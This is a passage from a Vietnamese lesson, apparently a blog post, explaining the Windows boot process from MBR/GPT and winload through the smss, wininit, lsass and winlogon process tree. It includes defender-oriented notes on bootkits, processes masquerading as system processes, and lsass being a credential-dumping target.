&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Vì mã khởi động nằm ngay trong 446 bytes này, Malware (như Bootkit) cực kỳ thích ghi đè vào đây. Bằng cách này, mã độc sẽ sống sót ngay cả khi người dùng format phân vùng hệ điều hành C: vì nó nằm hoàn toàn ngoài vùng kiểm soát của OS.&lt;/p&gt;
&lt;h3 id="22-sự-tiến-hóa-gpt-và-protective-mbr"&gt;2.2. Sự tiến hóa: GPT và Protective MBR
&lt;/h3&gt;&lt;p&gt;UEFI thông minh hơn. Nó không tìm mã khởi động ở sector đầu tiên mà tìm đến một phân vùng đặc biệt gọi là Phân vùng hệ thống EFI (ESP). Trong GPT, bộ nạp khởi động bao gồm nhiều tệp có phần mở rộng &lt;code&gt;.efi&lt;/code&gt; và tất cả chúng đều được lưu trữ trong ESP này.&lt;/p&gt;
&lt;p&gt;Tuy nhiên, để bảo vệ đĩa GPT khỏi bị các hệ thống BIOS cũ tưởng nhầm là đĩa trắng và ghi đè, GPT tạo ra một lớp giáp gọi là Protective MBR nằm ở ngay sector 0. Protective MBR này chỉ khai báo đúng một phân vùng duy nhất trỏ đến ESP với cờ định dạng là EE (báo hiệu đây là đĩa GPT), để firmware BIOS không can thiệp vào.&lt;/p&gt;
&lt;h2 id="3-giai-đoạn-nạp-nhân-windows-os-loader"&gt;3. Giai đoạn Nạp nhân (Windows OS Loader)
&lt;/h2&gt;&lt;p&gt;Sau khi phân vùng khởi động được xác định, quyền điều khiển được chuyển sang Windows Boot Manager (file &lt;code&gt;bootmgr&lt;/code&gt;). Nó sẽ đọc file dữ liệu cấu hình khởi động (BCD - Boot Configuration Data) để quyết định sẽ nạp hệ điều hành nào.&lt;/p&gt;
&lt;p&gt;Tiếp theo, logo Windows bắt đầu hiện lên trên màn hình. Đây là lúc file nạp hệ điều hành (&lt;code&gt;Winload.exe&lt;/code&gt; hoặc &lt;code&gt;winload.efi&lt;/code&gt;) ra sân để nạp các thành phần cốt lõi nhất vào RAM:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ntoskrnl.exe&lt;/code&gt;: Trái tim thực sự của hệ thống - Nhân (Kernel) của Windows.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Hal.dll&lt;/code&gt;: Lớp trừu tượng phần cứng, có nhiệm vụ &amp;ldquo;phiên dịch&amp;rdquo; để Kernel có thể ra lệnh được cho các linh kiện phần cứng vật lý.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;System Registry Hive&lt;/strong&gt;: Nạp các thiết lập cấu hình tối quan trọng của hệ thống từ Registry.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boot-start Drivers&lt;/strong&gt;: Các driver tối quan trọng để có thể tiếp tục đọc ổ đĩa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-giai-đoạn-khởi-tạo-hệ-thống-ranh-giới-và-các-tiến-trình-đầu-tiên"&gt;4. Giai đoạn Khởi tạo hệ thống: Ranh giới và Các tiến trình đầu tiên
&lt;/h2&gt;&lt;p&gt;Khi Kernel (&lt;code&gt;ntoskrnl.exe&lt;/code&gt;) đã nằm vững chãi trên RAM, nó bắt đầu thiết lập trật tự cho hệ thống. Đây là lúc sự phân chia hai cõi Kernel Mode (toàn quyền) và User Mode (hạn chế) được xác lập.&lt;/p&gt;
&lt;p&gt;Sau khi kernel khởi động xong, tiến trình System (PID 4) sẽ tạo ra tiến trình User Mode đầu tiên của hệ thống: &lt;code&gt;smss.exe&lt;/code&gt; (Session Manager Subsystem).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;smss.exe&lt;/code&gt; là &amp;ldquo;ông tổ&amp;rdquo; của toàn bộ các phiên làm việc trên Windows. Nhiệm vụ của nó là tạo ra các biến môi trường, thiết lập bộ nhớ ảo và bắt đầu chia phòng (Session).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tạo Session 0:&lt;/strong&gt; Khu vực cấm địa chỉ dành riêng cho các dịch vụ hệ thống ngầm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tạo Session cho người dùng:&lt;/strong&gt; Môi trường hiển thị giao diện cho chúng ta làm việc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="41-sự-hình-thành-các-cây-tiến-trình-process-tree"&gt;4.1. Sự hình thành các cây tiến trình (Process Tree)
&lt;/h3&gt;&lt;p&gt;Cách &lt;code&gt;smss.exe&lt;/code&gt; sinh con:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trong Session 0 (Hệ thống):&lt;/strong&gt;
&lt;code&gt;smss.exe&lt;/code&gt; gọi ra &lt;code&gt;wininit.exe&lt;/code&gt; (khởi tạo dịch vụ hệ thống) và &lt;code&gt;csrss.exe&lt;/code&gt; (runtime subsystem cho session 0).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wininit.exe&lt;/code&gt; sau đó tiếp tục tạo ra hai mảnh ghép quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;services.exe&lt;/code&gt;: Trình quản lý dịch vụ. Nó sẽ khởi chạy hàng loạt các dịch vụ hệ thống, phần lớn được bọc bên trong các tiến trình &lt;code&gt;svchost.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lsass.exe&lt;/code&gt; (Local Security Authority Subsystem Service): Người gác đền quản lý bảo mật và xác thực thông tin đăng nhập.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Trong Session người dùng:&lt;/strong&gt;
&lt;code&gt;smss.exe&lt;/code&gt; gọi ra một phiên bản &lt;code&gt;csrss.exe&lt;/code&gt; khác (để xử lý console giao diện) và &lt;code&gt;winlogon.exe&lt;/code&gt; (hiển thị màn hình đăng nhập quen thuộc).&lt;/p&gt;
&lt;p&gt;Khi bạn nhập mật khẩu trên màn hình của &lt;code&gt;winlogon.exe&lt;/code&gt;, nó sẽ gửi thông tin đến &lt;code&gt;lsass.exe&lt;/code&gt; để đối chiếu. Nếu mật khẩu đúng, &lt;code&gt;lsass.exe&lt;/code&gt; sẽ gật đầu và tạo ra một &amp;ldquo;thẻ bài&amp;rdquo; (Access Token) cấp quyền cho phiên làm việc của bạn.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Góc nhìn SOC:&lt;/strong&gt; Hacker hiểu rõ thứ tự này. Nếu bạn thấy một tiến trình &lt;code&gt;lsass.exe&lt;/code&gt; hoặc &lt;code&gt;svchost.exe&lt;/code&gt; nằm &amp;ldquo;chơi vơi&amp;rdquo; mà không có tiến trình cha hợp lệ (như &lt;code&gt;wininit.exe&lt;/code&gt; hay &lt;code&gt;services.exe&lt;/code&gt;), hoặc file thực thi không nằm trong &lt;code&gt;C:\Windows\System32\&lt;/code&gt;, thì 99% đó là phần mềm độc hại đang &amp;ldquo;đội lốt&amp;rdquo; tiến trình hệ thống. Ngoài ra, tiến trình &lt;code&gt;lsass.exe&lt;/code&gt; nắm giữ mật khẩu của hệ thống, nên nó thường xuyên là mục tiêu để các công cụ như Mimikatz &amp;ldquo;dump&amp;rdquo; bộ nhớ hòng đánh cắp thông tin xác thực.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Kết thúc Bài 1, chúng ta đã nắm được cách một cỗ máy tính thức giấc và xây dựng cấu trúc tiến trình chặt chẽ của nó. Ở bài tiếp theo, chúng ta sẽ bắt tay vào phân tích chuyên sâu về hệ thống tệp và cấu trúc thư mục đĩa đệm. Hãy đón chờ nhé!&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>